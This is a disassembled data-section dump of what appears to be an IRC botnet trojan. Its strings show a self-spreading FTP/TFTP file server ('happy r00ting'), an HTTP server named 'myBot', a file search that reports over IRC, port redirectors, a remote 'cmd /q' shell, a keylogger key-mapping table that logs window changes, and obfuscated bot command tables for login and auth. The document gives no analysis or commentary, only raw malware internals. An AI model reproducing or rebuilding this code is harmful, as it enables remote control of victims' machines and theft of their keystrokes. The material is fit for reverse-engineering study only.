aI_0		db 'I',0                ; DATA XREF: sub_40F2F1+34Fo
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F2F1+363o
aPasv		db 'PASV',0             ; DATA XREF: sub_40F2F1+373o
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40F2F1+386o
		align 4
aList_0		db 'LIST',0             ; DATA XREF: sub_40F2F1+3C1o
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F2F1+3D4o
		align 4
aPort		db 'PORT',0             ; DATA XREF: sub_40F2F1+402o
		align 4
aS_13		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F2F1+43Bo
		db ']',0
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40F2F1+47Fo
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40F2F1+4B2o
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F2F1+4C3o
		align 10h
aRetr		db 'RETR',0             ; DATA XREF: sub_40F2F1+4D3o
		align 4
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40F2F1+4EBo
		align 4
aFtpTransferSta	db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40F2F1+514o
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F2F1+55Eo
aFtpTransferCom	db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40F2F1+570o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40F2F1+5C1o
		align 4
aQuit_1		db 'QUIT',0             ; DATA XREF: sub_40F2F1+5CEo
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F2F1+5E2o
aRb		db 'rb',0               ; DATA XREF: sub_40F986+24o
		align 8
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FA20+25Eo
		align 2
asc_44A7BE	db ' ',0                ; DATA XREF: sub_40FA20+281o
asc_44A7C0:				; DATA XREF: sub_40FA20+286o
		unicode	0, < >,0
aGet_1		db 'GET ',0             ; DATA XREF: sub_40FA20+291o
		align 4
asc_44A7CC	db 0Dh,0Ah,0		; DATA XREF: sub_40FA20+2C4o
		align 10h
unk_44A7D0	db  2Dh	; -		; DATA XREF: sub_40FA20+3D9o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FE5C+64o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FE5C:loc_40FEC7o
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FE5C+83o
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FE5C+97o
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FE5C+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FE5C+F0o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aS_14		db '\%s',0              ; DATA XREF: sub_40FFD8+2Fo
aS_15		db '%s',0               ; DATA XREF: sub_40FFD8+39o
		align 4
aSS_2		db '%s%s',0             ; DATA XREF: sub_40FFD8+E9o
		align 2
asc_44AA1E	db 0Ah,0		; DATA XREF: sub_40FFD8+FAo
asc_44AA20:				; DATA XREF: sub_40FFD8+156o
		unicode	0, <*>,0
unk_44AA24	db  2Dh	; -		; DATA XREF: sub_40FFD8+20Ao
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
dword_44AA58	dd 234032Dh, 70747468h,	2D030264h, 69616620h, 2064656Ch
					; DATA XREF: sub_40FFD8+27Co
		dd 73206F74h, 74726174h, 726F7720h, 2072656Bh, 65726874h
		dd 202C6461h, 6F727265h, 64252072h
		db 2 dup(0)
word_44AA8E	dw 0Ah			; DATA XREF: sub_410287+29o
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410287+4Bo
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_410287+77o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_410287+ACo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410287+F6o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410287+12Ao
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410287+146o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410287+1BFo
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
a__		db '..',0               ; DATA XREF: sub_410287+231o
		align 4
a__1:					; DATA XREF: sub_410287+24Co
		unicode	0, <.>,0
aPm_0		db 'PM',0               ; DATA XREF: sub_410287+284o
		align 10h
aAm		db 'AM',0               ; DATA XREF: sub_410287+293o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_410287+2B4o
aS_16		db '<%s>',0             ; DATA XREF: sub_410287+2DEo
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_410287+308o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410287+335o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aSS_3		db '%s%s/',0            ; DATA XREF: sub_410287+379o
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_410287+3C6o
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_410287:loc_410654o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_410287+406o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aS_17		db '<%s>',0             ; DATA XREF: sub_410287+418o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_410287+439o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_410287+476o
		align 10h
aTrTdWidthDAH_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410287+48Bo
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aSS_4		db '%s%s',0             ; DATA XREF: sub_410287+4CFo
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_410287+51Co
		align 4
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_410287:loc_4107AAo
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_410287+566o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_410287+58Eo
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_410287+61Do
		align 8
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410287+638o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_410287+64Do
		align 4
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4109F3+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_44AF70	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_410B14+BBo
aClientConnecti	db '- client connection from %s:%d.',0
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410B14+113o
dword_44AFB4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_410B14+16Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 10h
unk_44AFE0	db  2Dh	; -		; DATA XREF: sub_410CBF+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_44B028	db  2Dh	; -		; DATA XREF: sub_410CBF+14Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_39	db 'Failed to start client thread, error: <%d>.',0
		align 8
unk_44B068	db  2Dh	; -		; DATA XREF: sub_410E4F+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_44B0B0	db  2Dh	; -		; DATA XREF: sub_410E4F+157o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_40	db 'Failed to start connection thread, error: <%d>.',0
unk_44B0F0	db  2Dh	; -		; DATA XREF: sub_4110D4+E1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_4110D4+172o
		align 10h
unk_44B130	db  2Dh	; -		; DATA XREF: sub_4110D4+1A2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
unk_44B158	db  2Dh	; -		; DATA XREF: sub_4110D4+1C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_44B184	db  2Dh	; -		; DATA XREF: sub_4110D4+1E9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 10h
unk_44B1B0	db  2Dh	; -		; DATA XREF: sub_4112D9:loc_41130Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
unk_44B1DC	db  2Dh	; -		; DATA XREF: sub_41131A+1Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 4
unk_44B214	db  2Dh	; -		; DATA XREF: sub_411349+3Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_44B240	db  2Dh	; -		; DATA XREF: sub_411349+70o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 4
unk_44B284	db  2Dh	; -		; DATA XREF: sub_411349+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 10h
unk_44B2C0	db  2Dh	; -		; DATA XREF: sub_411349+177o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_44B304	db  2Dh	; -		; DATA XREF: sub_411349+1E8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_41	db '- Failed to start client thread, error: <%d>.',0
		align 10h
unk_44B340	db  2Dh	; -		; DATA XREF: sub_411349+218o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 4
unk_44B378	db  2Dh	; -		; DATA XREF: sub_4115D0+59o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 10h
unk_44B3C0	db  2Dh	; -		; DATA XREF: sub_4115D0+8Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_44B408	db  2Dh	; -		; DATA XREF: sub_4115D0+E2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 10h
unk_44B440	db  2Dh	; -		; DATA XREF: sub_411725+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_44B480	db  2Dh	; -		; DATA XREF: sub_411725+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_2	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 10h
unk_44B4C0	db  2Dh	; -		; DATA XREF: sub_411725+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_41181E+8Co
		align 10h
unk_44B4F0	db  2Dh	; -		; DATA XREF: sub_41181E+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
unk_44B528	db  2Dh	; -		; DATA XREF: sub_4118F7+8Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
		align 8
dword_44B568	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411AAE+A8o
aServerStarte_5	db '- Server started on: %s:%d.',0
dword_44B590	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411AAE+114o
aClientConnec_3	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
dword_44B5D4	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411AAE+17Co
aFailedToSta_42	db '- Failed to start client thread, error: <%d>.',0
		align 10h
dword_44B610	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411AAE+1B1o
aFailedToSta_43	db '- Failed to start server on Port %d.',0
		align 4
dword_44B644	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411CB2+F2o
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
dword_44B684	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411CB2+18Ao
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 8
dword_44B6C8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411CB2+1F9o
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
aRb_0		db 'rb',0               ; DATA XREF: sub_41206F+130o
		align 10h
aTftpTransferSt	db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_41206F+2CDo
		align 10h
aTftpTransferCo	db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_41206F+3BEo
		align 10h
dword_44B750	dd 4000500h, 7868746Bh,	2 dup(0) ; DATA	XREF: sub_41206F+416o
		dd 8
dword_44B764	dd 62h,	62000000h, 2 dup(0) ; DATA XREF: sub_4125C5:loc_4126A8o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_44BE94	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4125C5+2AAo
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_44BECC	dd 5Ch			; DATA XREF: sub_4124E6+2Co
dword_44BED0	dd 6261h		; DATA XREF: sub_4124E6+4Eo
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4124E6+86o
		align 10h
dword_44BEF0	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: sub_4124E6+ACo
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4125C5+8Fo
		align 10h
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4125C5+1D9o
		align 4
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4125C5+21Co
		align 10h
aBot		db 'BOT',0              ; DATA XREF: .packed:off_44BF64o
off_44BF54	dd offset loc_435240+9	; DATA XREF: .packed:0044BF68o
off_44BF58	dd offset word_505446	; DATA XREF: .packed:0044BF6Co
aHttp_0		db 'HTTP',0             ; DATA XREF: .packed:0044BF70o
		align 4
off_44BF64	dd offset aBot		; DATA XREF: sub_41289A+2B5r
					; "BOT"
		dd offset off_44BF54
		dd offset off_44BF58
		dd offset aHttp_0	; "HTTP"
		align 8
dword_44BF78	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_41289A+1DEo
dword_44BF8C	dd 0			; DATA XREF: sub_41289A+2AEr
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
